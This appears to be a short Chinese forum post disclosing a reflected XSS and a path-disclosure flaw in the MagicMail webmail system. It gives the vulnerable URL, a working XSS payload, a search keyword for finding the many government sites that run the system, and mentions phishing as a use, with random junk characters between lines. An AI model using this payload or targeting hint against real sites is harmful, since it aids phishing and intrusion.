MagicMail迈捷邮件系统XSS及绝对路径漏洞

admin

今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
" P& I% g% F. ~
5 R1 U8 a1 d" G
包含  一个反射性XSS  以及  绝对路径泄漏
5 P- F) ^1 f+ ^- k# D. B: V5 _看了看 貌似全部是linux的。
; ^% Y. v& R$ k- v* J( N
9 \9 c- l$ R" W) C8 B& q关键字：迈捷邮件系统 by MagicMail
9 ?% a, ^2 Q3 B0 j' ]0 L
可以看到很多政府网站都用这个邮件系统
& p5 d- r# a, W% L7 X4 [7 Z
9 n( T5 j" d6 C. p绝对路径 http://madman.in/index.php?login_type=declare&language=

; e) R8 [  N" _
1 l2 A* K" _8 n8 {
% b, n- F" O1 L* C6 _  IXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
; T+ h6 w8 L" V7 B: `# ]( ^/ N( G

5 e, d) q  B. W: Y/ H# p2 P
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等

! J+ ~8 t/ X  N0 s# m% F修复方案：看官方补丁吧。